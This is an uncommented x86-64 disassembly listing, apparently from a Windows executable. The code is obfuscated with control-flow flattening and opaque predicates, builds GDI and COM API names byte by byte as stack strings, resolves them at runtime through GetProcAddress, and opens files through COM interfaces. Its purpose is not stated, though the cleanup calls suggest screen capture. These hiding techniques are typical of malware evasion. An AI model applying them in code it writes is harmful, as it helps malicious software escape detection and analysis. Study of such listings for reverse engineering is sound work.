mov eax, 0x7b0ce055
mov ebx, 0x5b7b050c
cmovne eax, ebx
test dl, 1
mov edx, 0x7b0ce055
jmp 0x140014389
cmp eax, 0x97d971a2
jle 0x140011787
cmp eax, 0x97d971a3
je 0x14001337d
cmp eax, 0x9b34539b
je 0x14001354e
cmp eax, 0x9c9504ad
jne 0x14000f780
mov rax, qword [rbp + 0x30]
mov rdx, qword [rbp + 0x30]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x20], xmm6
movaps xmmword [rdx + 0x10], xmm6
mov word [rdx + 0x30], 0
mov byte [rdx], 0x44
mov rax, qword [rbp + 0x30]
mov byte [rax + 1], 0x65
mov rax, qword [rbp + 0x30]
mov byte [rax + 2], 0x6c
mov rax, qword [rbp + 0x30]
mov byte [rax + 3], 0x65
mov rax, qword [rbp + 0x30]
mov byte [rax + 4], 0x74
mov rax, qword [rbp + 0x30]
mov byte [rax + 5], 0x65
mov rax, qword [rbp + 0x30]
mov byte [rax + 6], 0x4f
mov rax, qword [rbp + 0x30]
mov byte [rax + 7], 0x62
mov rax, qword [rbp + 0x30]
mov byte [rax + 8], 0x6a
mov rax, qword [rbp + 0x30]
mov byte [rax + 9], 0x65
mov rax, qword [rbp + 0x30]
mov byte [rax + 0xa], 0x63
mov rax, qword [rbp + 0x30]
mov byte [rax + 0xb], 0x74
mov rcx, qword [0x140063b28]
sub rsp, 0x20
mov rsi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rsi
add rsp, 0x20
mov rcx, qword [rbp + 0xb8]
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [rbp + 0x38]
mov rdx, qword [rbp + 0x38]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
mov byte [rdx], 0x44
mov rax, qword [rbp + 0x38]
mov byte [rax + 1], 0x65
mov rax, qword [rbp + 0x38]
mov byte [rax + 2], 0x6c
mov rax, qword [rbp + 0x38]
mov byte [rax + 3], 0x65
mov rax, qword [rbp + 0x38]
mov byte [rax + 4], 0x74
mov rax, qword [rbp + 0x38]
mov byte [rax + 5], 0x65
mov rax, qword [rbp + 0x38]
mov byte [rax + 6], 0x44
mov rax, qword [rbp + 0x38]
mov byte [rax + 7], 0x43
mov rcx, qword [0x140063b28]
sub rsp, 0x20
call rsi
add rsp, 0x20
mov rcx, qword [rbp + 0xa8]
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [rbp + 0x40]
mov rdx, qword [rbp + 0x40]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
mov byte [rdx], 0x52
mov rax, qword [rbp + 0x40]
mov byte [rax + 1], 0x65
mov rax, qword [rbp + 0x40]
mov byte [rax + 2], 0x6c
mov rax, qword [rbp + 0x40]
mov byte [rax + 3], 0x65
mov rax, qword [rbp + 0x40]
mov byte [rax + 4], 0x61
mov rax, qword [rbp + 0x40]
mov byte [rax + 5], 0x73
mov rax, qword [rbp + 0x40]
mov byte [rax + 6], 0x65
mov rax, qword [rbp + 0x40]
mov byte [rax + 7], 0x44
mov rax, qword [rbp + 0x40]
mov byte [rax + 8], 0x43
mov rcx, qword [0x140063b20]
sub rsp, 0x20
call rsi
add rsp, 0x20
mov rcx, qword [rbp + 0x70]
mov rdx, qword [rbp + 0x80]
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [rbp + 0x48]
mov rdx, qword [rbp + 0x48]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
mov byte [rdx], 0x43
mov rax, qword [rbp + 0x48]
mov byte [rax + 1], 0x6f
mov rax, qword [rbp + 0x48]
mov byte [rax + 2], 0x55
mov rax, qword [rbp + 0x48]
mov byte [rax + 3], 0x6e
mov rax, qword [rbp + 0x48]
mov byte [rax + 4], 0x69
mov rax, qword [rbp + 0x48]
mov byte [rax + 5], 0x6e
mov rax, qword [rbp + 0x48]
mov byte [rax + 6], 0x69
mov rax, qword [rbp + 0x48]
mov byte [rax + 7], 0x74
mov rax, qword [rbp + 0x48]
mov byte [rax + 8], 0x69
mov rax, qword [rbp + 0x48]
mov byte [rax + 9], 0x61
mov rax, qword [rbp + 0x48]
mov byte [rax + 0xa], 0x6c
mov rax, qword [rbp + 0x48]
mov byte [rax + 0xb], 0x69
mov rax, qword [rbp + 0x48]
mov byte [rax + 0xc], 0x7a
mov rax, qword [rbp + 0x48]
mov byte [rax + 0xd], 0x65
mov rcx, qword [0x140063b30]
sub rsp, 0x20
call rsi
call rax
add rsp, 0x20
mov eax, dword [rbp + 0x1b0]
mov eax, 0xf8bc78e1
cmp eax, 0xfd87f07f
jle 0x14000f7e0
jmp 0x14000f787
cmp eax, 0x4215001e
je 0x1400135a6
cmp eax, 0x423a51af
je 0x1400137bd
cmp eax, 0x459043bf
jne 0x14000f780
mov eax, 0x93f5cd50
cmp eax, 0xfd87f07f
jle 0x14000f7e0
jmp 0x14000f787
cmp eax, 0xd7fcd40c
je 0x1400137db
cmp eax, 0xe3c9d33c
je 0x140013946
cmp eax, 0xeaade1bc
jne 0x14000f780
mov rax, qword [rbp + 0x130]
mov eax, 0x1adae583
mov ecx, dword [rbp - 8]
jmp 0x140010df2
cmp eax, 0x7b0ce055
je 0x140013ce8
cmp eax, 0x7b8db2cb
je 0x140013cfd
cmp eax, 0x7d181fc8
jne 0x14000f780
mov rax, qword [rbp + 0x20]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
call qword [rax + 0x10]
add rsp, 0x20
mov eax, 0x7b8db2cb
cmp eax, 0xfd87f07f
jle 0x14000f7e0
jmp 0x14000f787
cmp eax, 0xb52dbfa8
je 0x140013e3e
cmp eax, 0xb5b48c84
je 0x140013f02
cmp eax, 0xbb570c35
jne 0x14000f780
mov rax, qword [rbp + 0x20]
mov rax, qword [rbp + 0x20]
mov qword [rax], 0
mov rax, qword [rbp + 8]
mov rcx, qword [rax]
mov rax, qword [rcx]
mov rdx, qword [rbp + 0x20]
sub rsp, 0x20
call qword [rax + 0x70]
add rsp, 0x20
mov eax, 0x756ee76f
cmp eax, 0xfd87f07f
jle 0x14000f7e0
jmp 0x14000f787
cmp eax, 0xfb742d89
je 0x140014006
cmp eax, 0xfd181c73
jne 0x14000f780
mov eax, 0x5a543129
jmp 0x140014421
cmp eax, 0xfd87f080
je 0x140014025
cmp eax, 0xff04c487
jne 0x14000f780
mov rax, qword [rbp + 0x18]
mov rcx, qword [rax]
mov rax, qword [rcx]
mov rdx, qword [rbp + 0x20]
mov rdx, qword [rdx]
sub rsp, 0x20
mov r8d, 2
call qword [rax + 0x18]
add rsp, 0x20
mov eax, 0x24c7b50b
cmp eax, 0xfd87f07f
jle 0x14000f7e0
jmp 0x14000f787
cmp eax, 0x4a542d67
je 0x14001422d
cmp eax, 0x4c606479
jne 0x14000f780
cmp byte [rbp + 0x127], 0
mov eax, 0x1adae583
mov ecx, 0xca5e6e65
cmovne eax, ecx
mov ecx, dword [rbp + 0x120]
mov dword [rbp - 4], ecx
cmp eax, 0xfd87f07f
jle 0x14000f7e0
jmp 0x14000f787
cmp eax, 0x8249f792
je 0x1400143a2
cmp eax, 0x8361c88a
jne 0x14000f780
mov eax, 0x6972dcdc
mov ecx, dword [rbp + 0x1ac]
jmp 0x1400143df
cmp eax, 0x22cfe17a
je 0x1400143c5
cmp eax, 0x24c7b50b
jne 0x14000f780
mov rax, qword [rbp + 0x18]
mov rcx, qword [rax]
mov rax, qword [rcx]
mov rdx, qword [rbp + 0x20]
mov rdx, qword [rdx]
sub rsp, 0x20
mov r8d, 2
call qword [rax + 0x18]
add rsp, 0x20
mov dword [rbp + 0x128], eax
cmp dword [rbp + 0x128], 0
setns byte [rbp + 0x12f]
mov ecx, dword [0x140064010]
mov r8d, dword [0x140064014]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
mov ecx, ebx
xor ecx, 0x4072fa8b
and ecx, ebx
not ebx
and ebx, 0x105009
and edx, 0x4062aa82
or edx, ebx
mov ebx, edx
xor ebx, 0x40428800
xor edx, 0xbf9d557d
mov edi, ecx
not edi
mov esi, edx
and esi, 0x37bc37cb
and ebx, 0x4042c800
or ebx, esi
or edx, edi
and edi, 0x37bc37cb
and ecx, 0xc843c834
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xa1558dbb
and edx, 0x5eaa7244
or edx, ecx
mov edi, edx
xor edi, 0x1ed888cf
mov ecx, edx
xor ecx, 0x420
and ecx, 0x4888c26
xor edx, 0x36bac56a
and edx, edi
and edi, 0xfb7773d9
or edi, ecx
mov ecx, edi
xor ecx, 0xfb7773d9
xor edi, 0x4888c26
mov ebx, edi
or ebx, 0xd79db25a
mov esi, ebx
not esi
mov eax, edx
not eax
mov r9d, ebx
and r9d, 0x4c2a8328
and esi, 0x20404c85
or esi, r9d
or ebx, eax
and eax, 0x4c2a8328
and edx, 0xb3d57cd7
or edx, eax
xor edx, esi
not ebx
or ebx, edx
mov eax, ebx
not eax
and eax, 0xd79db25b
and ebx, 0x28624da4
or ebx, eax
and edi, 0xddded254
mov eax, ecx
and eax, 0x22212dab
or eax, edi
xor eax, 0xddded255
and ecx, 1
or ecx, eax
mov eax, ecx
not eax
and eax, 0xf255ff7a
and ecx, 0xdaa0085
or ecx, eax
xor ecx, 0xdaa0085
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0x5e1ecd1c
and edx, ecx
or ecx, 0xa1e132e3
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xb457c0e4
and eax, 0x4a080d18
or eax, edi
or ecx, ebx
and ebx, 0xb457c0e4
and edx, 0x4ba83f1b
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x7461c254
and ecx, 0x8b9e3dab
or ecx, eax
mov eax, ecx
xor eax, 0x5100b083
xor ecx, 0x2a280808
and eax, 0x5157b7c3
and ecx, 0xaea8483c
or ecx, eax
mov eax, ecx
xor eax, 0x4047a302
xor ecx, 0x2a080800
and ecx, 0x3b181cc1
and eax, 0xc4e7e33e
or eax, ecx
xor eax, 0xc4e7e33e
setne al
cmp r8d, 9
setg r9b
cmp r8d, 0xa
setl bl
mov edx, ebx
xor dl, al
xor dl, 1
or r9b, dl
or al, bl
xor al, 1
and dl, bl
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov eax, edx
xor al, 1
mov ebx, edx
and bl, al
mov ecx, ebx
and cl, dl
xor bl, dl
or bl, cl
mov ecx, ebx
and cl, r9b
mov edx, r9d
and dl, al
xor al, r9b
xor r9b, 1
xor bl, 1
and bl, r9b
or bl, cl
or al, dl
mov ecx, eax
xor cl, bl
test cl, 1
mov ecx, 0x305c983c
mov edx, 0xff04c487
cmovne ecx, edx
test al, 1
mov eax, 0x305c983c
cmovne eax, ecx
jmp 0x140012872
cmp eax, 0xbc05d73a
je 0x1400143f2
cmp eax, 0xc0287f91
jne 0x14000f780
sub rsp, 0x40
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 3
mov rcx, r12
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call qword [0x140064020]
add rsp, 0x40
mov eax, 0xa75dd0c5
cmp eax, 0xfd87f07f
jle 0x14000f7e0
jmp 0x14000f787
cmp eax, 0x5b7b050c
je 0x14001443a
cmp eax, 0x6972dcdc
jne 0x14000f780
mov edx, dword [0x140064010]
mov eax, dword [0x140064014]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
xor edx, 0x798301b0
and edx, ecx
or ecx, 0x867cfe4f
mov ebx, ecx
not ebx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x2d92242f
and ebx, 0x50010190
or ebx, esi
or ecx, edi
and edi, 0x2d92242f
and edx, 0xd26ddbd0
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x867cfe4f
and ecx, 0x798301b0
or ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
and ebx, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, ecx
mov edi, edx
not edi
mov esi, ecx
and esi, 0xa0a37179
and ebx, 0x5f5c8e86
or ebx, esi
or ecx, edi
and edi, 0xa0a37179
and edx, 0x5f5c8e86
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x91166a4
and ecx, 0xf6ee995b
or ecx, ebx
xor ecx, 0x91166a4
xor edx, ecx
test edx, ecx
sete r8b
setne bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg dl
mov eax, ebx
xor al, dl
and bl, al
and al, dl
xor bl, 1
xor al, 1
mov r9d, ebx
xor r9b, al
or al, bl
xor al, 1
or al, r9b
xor dl, r8b
xor dl, 1
mov ebx, ecx
and bl, r8b
xor cl, r8b
or cl, bl
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, 1
and cl, dl
or dl, bl
and bl, al
or bl, cl
mov eax, edx
xor al, bl
test al, 1
mov ecx, 0xf8bc78e1
mov eax, 0x9c9504ad
cmovne ecx, eax
test bl, 1
mov eax, ecx
mov ebx, 0xf8bc78e1
cmovne eax, ebx
mov ebx, dword [rbp - 0x18]
mov dword [rbp + 0x1b0], ebx
test dl, 1
jmp 0x140014534
cmp eax, 0x9e983b86
je 0x140014456
cmp eax, 0xa00a333b
jne 0x14000f780
mov ecx, dword [0x140064010]
mov eax, dword [0x140064014]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xb8c48975
and ecx, edx
not edx
and edx, 0xb8c48975
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xfcdaf918
and ecx, 0x32506e7
or ecx, edx
mov edx, ecx
xor edx, 0xbbe18f92
mov ebx, ecx
xor ebx, 0xbbe18f93
and ebx, edx
xor ecx, 0x441e706c
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ecx, ebx
not ecx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x9950ce2
and ebx, 0xf66af31d
or ebx, esi
or ecx, edi
and edi, 0x9950ce2
and edx, 0xf66af31d
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, ecx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x516ca9d8
and ebx, 0xae935627
or ebx, esi
or ecx, edi
and edi, 0x516ca9d8
and edx, 0xae935627
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x9e0126b8
and ecx, 0x61fed947
or ecx, ebx
xor ecx, 0x9e0126b8
xor edx, ecx
test edx, ecx
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
mov eax, edx
and cl, dl
and dl, r8b
xor al, r8b
or al, dl
mov r9d, eax
xor r9b, 1
and bl, r8b
or cl, bl
mov ebx, ecx
xor bl, al
mov edx, eax
and dl, r9b
mov r8d, eax
and r8b, dl
xor dl, al
or dl, r8b
xor dl, cl
xor bl, 1
or cl, r9b
xor cl, 1
or cl, bl
mov ebx, edx
xor bl, cl
test cl, 1
mov eax, 0x945b49d
mov ecx, 0x75249e4d
cmovne eax, ecx
mov edi, dword [rbp - 0x10]
mov dword [rbp + 0x1a8], edi
test dl, 1
cmovne eax, ecx
not bl
test bl, 1
mov ecx, 0x945b49d
jmp 0x1400149a6
cmp eax, 0xece7f546
je 0x140014547
cmp eax, 0xed29166a
jne 0x14000f780
mov ecx, dword [0x140064010]
mov eax, dword [0x140064014]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0xc9408e09
and edx, ebx
not ebx
and ebx, 0xc0008208
and ecx, 0x9400c01
or ecx, ebx
mov ebx, ecx
xor ebx, 0x400400
xor ecx, 0xf6bff3fe
mov edi, edx
not edi
mov esi, ecx
and esi, 0xaf2e6a11
and ebx, 0x40408408
or ebx, esi
or ecx, edi
and edi, 0xaf2e6a11
and edx, 0x50d195ee
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x36bf71f6
and ecx, 0xc9408e09
or ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
and ebx, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
and ebx, 0xf1d1fe2a
and edx, 0xe2e01d5
or edx, ebx
xor edx, 0xe2e01d5
or edx, ecx
cmp edx, 0xffffffff
sete dl
setne bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
and bl, al
and cl, dl
or cl, bl
mov ebx, ecx
xor bl, al
and bl, cl
mov ecx, eax
xor cl, dl
not cl
and cl, dl
or al, dl
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ebx
xor al, 1
mov edx, ecx
xor dl, 1
and cl, al
and bl, dl
or bl, cl
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov ecx, edx
xor cl, bl
test dl, 1
mov eax, 0x4a542d67
mov edx, 0xece7f546
cmovne eax, edx
test bl, 1
cmove eax, edx
test cl, 1
mov ecx, 0x4a542d67
jmp 0x1400149a6
cmp eax, 0x1a3fde1a
je 0x140014571
cmp eax, 0x1adae583
jne 0x14000f780
mov edx, dword [0x140064010]
mov r8d, dword [0x140064014]
lea esi, [rdx - 1]
imul esi, edx
mov ecx, esi
not ecx
mov ebx, ecx
and ebx, 0x3886681d
mov edx, esi
and edx, 0xc77997e2
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0xc5e6b633
and edx, 0x3a1949cc
or edx, ebx
mov edi, edx
xor edi, 0x20e20d0
xor edx, 0x7140860d
and edx, 0x71d1870d
and edi, 0x8e2e78f2
or edi, edx
mov edx, edi
xor edx, 0xa0c78c0
and ecx, 0x672157a3
and esi, 0x98dea85c
or esi, ecx
mov ecx, esi
xor ecx, 0x81ca848
xor edi, 0x71d1870d
xor esi, 0x672157a3
mov ebx, edi
and ebx, 0xd4e30536
and edx, 0x2b1cfac9
or edx, ebx
or edi, esi
and esi, 0xd4e30536
and ecx, 0x2b1cfac9
or ecx, esi
xor ecx, edx
not edi
or edi, ecx
cmp edi, 0xffffffff
setne r9b
sete dl
cmp r8d, 9
setg bl
cmp r8d, 0xa
setl cl
mov eax, ecx
xor al, dl
and r9b, cl
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
not al
and bl, dl
or bl, r9b
mov edx, ebx
xor dl, 1
and bl, cl
or cl, dl
and dl, al
or dl, bl
mov eax, ecx
xor al, dl
test al, 1
mov ebx, 0x7b8db2cb
mov eax, 0x7d181fc8
cmovne ebx, eax
test dl, dl
mov eax, ebx
mov edx, 0x7b8db2cb
cmovne eax, edx
mov edx, dword [rbp - 4]
mov dword [rbp + 0x1a4], edx
test cl, cl
jmp 0x14001478d
cmp eax, 0x51e88540
je 0x14001469e
cmp eax, 0x521f6dbd
jne 0x14000f780
cmp dword [rbp + 0x1b4], 0
sete byte [rbp + 0x1a3]
mov ecx, dword [0x140064010]
mov eax, dword [0x140064014]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, ecx
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ebx, edx
not ebx
mov ecx, ebx
or ecx, 1
mov edi, ecx
not edi
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
mov ebx, edx
not ebx
mov esi, ecx
and esi, 0x115c5dbb
and edi, 0xeea3a244
or edi, esi
or ecx, ebx
and ebx, 0x115c5dbb
and edx, 0xeea3a244
or edx, ebx
xor edx, edi
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xb0f3ebef
and ecx, 0x4f0c1410
or ecx, edx
mov edx, ecx
xor edx, 0x47000000
xor ecx, 0x8033006d
and ecx, 0x883f147d
and edx, 0x77c0eb82
or edx, ecx
mov ecx, edx
xor ecx, 0x8041428
xor edx, 0x27000082
and edx, 0xa73b00d7
and ecx, 0x58c4ff28
or ecx, edx
xor ecx, 0x58c4ff28
cmp ecx, 0xffffffff
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
mov eax, edx
or cl, dl
and dl, r8b
xor al, r8b
or al, dl
or bl, r8b
mov edx, ecx
xor dl, bl
or cl, bl
xor cl, 1
or cl, dl
mov edx, eax
xor dl, cl
xor cl, 1
or cl, al
mov eax, edx
xor al, cl
not al
test al, 1
mov ebx, 0xab713964
mov eax, 0xa8826be1
cmovne ebx, eax
test dl, dl
mov eax, 0xab713964
cmovne eax, ebx
test cl, 1
jmp 0x14001478d
cmp eax, 0x93f5cd50
je 0x1400147a0
cmp eax, 0x978dac07
jne 0x14000f780
cmp byte [rbp + 0x10f], 0
mov eax, 0x326d2b8e
mov ecx, 0xce9eb664
cmovne eax, ecx
mov ecx, dword [rbp + 0x108]
jmp 0x1400137c8
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
call qword [rax + 0x10]
add rsp, 0x20
mov rax, qword [rbp + 0x100]
mov eax, 0x6a0ab22e
mov ecx, dword [rbp - 0x14]
jmp 0x1400119a3
mov rax, qword [rbp + 0x28]
mov rcx, qword [rax]
mov rax, qword [rcx]
mov rdx, qword [rbp + 0x10]
mov rdx, qword [rdx]
sub rsp, 0x20
xor r8d, r8d
call qword [rax + 0x58]
add rsp, 0x20
mov eax, 0xfd87f080
cmp eax, 0xfd87f07f
jle 0x14000f7e0
jmp 0x14000f787
mov edx, dword [0x140064010]
mov r8d, dword [0x140064014]
lea ecx, [rdx - 1]
imul ecx, edx
mov eax, ecx
not eax
mov ebx, eax
or ebx, 0x8da1224c
mov edx, ebx
not edx
mov esi, ecx
or esi, 0x30548883
and esi, 0x34f5a8c7
mov edi, eax
and edi, 0x89000208
or edi, esi
and ebx, 0x34f5a8c7
and edx, 0x420a5530
or edx, ebx
xor edx, edi
mov ebx, edx
not ebx
and ebx, 0xa5d78452
and edx, 0x5a287bad
or edx, ebx
mov ebx, edx
xor ebx, 0xd78959e0
and eax, 0x939c4740
and ecx, 0x6c63b8bf
or ecx, eax
mov eax, ecx
xor eax, 0x6c63b8bf
xor edx, 0x2876a61f
and eax, edx
xor ecx, 0x939c4740
and ecx, ebx
or ecx, eax
xor edx, ecx
test edx, ecx
setne r9b
sete bl
cmp r8d, 9
setg dl
cmp r8d, 0xa
setl cl
mov eax, ecx
xor al, bl
and r9b, cl
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and dl, bl
or dl, r9b
and cl, al
xor cl, 1
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
xor cl, dl
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov ebx, ecx
xor bl, dl
test dl, 1
mov eax, 0x756ee76f
mov edx, 0xbb570c35
cmovne eax, edx
test cl, 1
cmovne eax, edx
not bl
test bl, 1
mov ecx, 0x756ee76f
jmp 0x1400149a6
cmp byte [rbp + 0x11f], 0
mov eax, 0xa00a333b
mov ecx, 0xb52dbfa8
cmovne eax, ecx
mov ecx, dword [rbp + 0x118]
jmp 0x1400126f2
cmp byte [rbp + 0x14b], 0
mov eax, 0x5a543129
mov ecx, 0xbc05d73a
cmovne eax, ecx
mov ecx, dword [rbp + 0x144]
jmp 0x140014427
mov rax, qword [rbp + 0x18]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
call qword [rax + 0x10]
add rsp, 0x20
mov rax, qword [rbp + 0x110]
mov eax, 0x945b49d
cmp eax, 0xfd87f07f
jle 0x14000f7e0
jmp 0x14000f787
cmp byte [rbp + 0xff], 0
mov eax, 0x6a0ab22e
mov ecx, 0xb5b48c84
cmovne eax, ecx
mov ecx, dword [rbp + 0xf8]
mov dword [rbp - 0xc], ecx
cmp eax, 0xfd87f07f
jle 0x14000f7e0
jmp 0x14000f787
cmp byte [rbp + 0x1a3], 0
mov eax, 0x93f5cd50
mov ecx, 0xd4b2f93
jmp 0x140014534
mov rax, qword [rbp + 0x18]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
call qword [rax + 0x10]
add rsp, 0x20
mov rax, qword [rbp + 0x110]
mov ecx, dword [0x140064010]
mov eax, dword [0x140064014]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x63db8360
and edx, 0x9c247c9f
or edx, ecx
mov ecx, edx
xor ecx, 0x548e
xor edx, 0x1838000
and edx, 0x9da7a811
and ecx, 0x625857ee
or ecx, edx
mov ebx, ecx
xor ebx, 0x9da7a811
mov edi, ecx
xor edi, 0x625857ee
mov edx, ecx
xor edx, 0xea358a3b
mov esi, edx
and esi, edi
and edx, ebx
mov ebx, esi
and ebx, edx
xor edx, esi
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0x79bedd5c
and edx, 0x864122a3
or edx, ebx
xor edx, 0xf1d30088
and edi, 1
xor ecx, 0x625857ef
or ecx, edi
mov ebx, ecx
not ebx
and ebx, 0x40c3bf7c
and ecx, 0xbf3c4083
or ecx, ebx
xor ecx, 0xbf3c4083
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and ecx, 0xad9a03a8
and edx, 0x5265fc57
or edx, ecx
mov ecx, edx
xor ecx, 0x298202a0
xor edx, 0x10649856
and ecx, 0x6b8366a1
and edx, 0x947c995e
or edx, ecx
xor edx, 0x6b8366a1
cmp edx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
and cl, dl
xor al, dl
or al, cl
xor bl, r8b
mov ecx, ebx
and bl, al
xor al, 1
xor cl, 1
mov edx, eax
xor dl, cl
and dl, al
and cl, al
or cl, bl
mov ebx, edx
xor bl, cl
test cl, cl
mov eax, 0x75249e4d
mov edi, 0x423a51af
cmovne eax, edi
test dl, dl
mov ecx, 0x75249e4d
cmove eax, ecx
test bl, bl
cmovne eax, edi
cmp eax, 0xfd87f07f
jle 0x14000f7e0
jmp 0x14000f787
mov ecx, dword [0x140064010]
mov eax, dword [0x140064014]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov edi, ecx
and edi, 0xfffffffe
mov edx, ebx
and edx, 1
or edx, edi
mov edi, edx
not edi
and edi, 0x1830c33e
and edx, 0xe7cf3cc1
or edx, edi
mov edi, edx
xor edi, 0x80c50400
xor edx, 0x1830c33e
mov esi, edx
and esi, 0x772a38ff
and edi, 0x88d5c700
or edi, esi
or edx, ebx
and ebx, 0x772a38ff
and ecx, 0x88d5c700
or ecx, ebx
xor ecx, edi
not edx
or edx, ecx
cmp edx, 0xffffffff
sete cl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg dl
mov eax, edx
xor al, cl
xor al, 1
or dl, al
mov r9d, edx
xor r9b, 1
and al, cl
xor cl, r8b
and cl, r8b
mov ebx, eax
xor bl, 1
xor al, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
not al
and al, r9b
and dl, cl
or dl, al
mov eax, r9d
xor al, cl
or cl, r9b
xor cl, 1
or cl, al
mov ebx, ecx
xor bl, dl
test cl, 1
mov eax, 0x8a4b5f1d
mov ecx, 0x3f5b6275
cmovne eax, ecx
test dl, 1
cmove eax, ecx
test bl, 1
mov ecx, 0x8a4b5f1d
jmp 0x1400149a6
mov rax, qword [rbp + 0x20]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
mov rdx, r12
mov r8d, 0x40000000
call qword [rax + pe_nt_image_headers64]
add rsp, 0x20
mov dword [rbp + 0x120], eax
cmp dword [rbp + 0x120], 0
setns byte [rbp + 0x127]
mov ecx, dword [0x140064010]
mov r8d, dword [0x140064014]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0xc50fac43
and edx, ebx
not ebx
and ebx, 0xa0440
and ecx, 0xc505a803
or ecx, ebx
mov ebx, ecx
xor ebx, 0x4002001
xor ecx, 0x3afa57fc
mov edi, edx
not edi
mov esi, ecx
and esi, 0xf185899e
and ebx, 0x40a2441
or ebx, esi
or ecx, edi
and edi, 0xf185899e
and edx, 0xe7a7661
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x3af053bc
and ecx, 0xc50fac43
or ecx, edx
mov ebx, ecx
not ebx
and ebx, 0xd7509ca8
mov edx, ecx
and edx, 0x28af6357
or edx, ebx
mov ebx, edx
xor ebx, 0x28af6357
mov edi, ebx
and edi, 0x2a86077f
and ecx, 0xd579f880
or ecx, edi
mov edi, ecx
not edi
and edi, 0xd579f881
and ecx, 0x2a86077e
or ecx, edi
and ebx, 1
xor edx, 0x28af6356
or edx, ebx
not edx
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0x29214236
and edx, 0x84003040
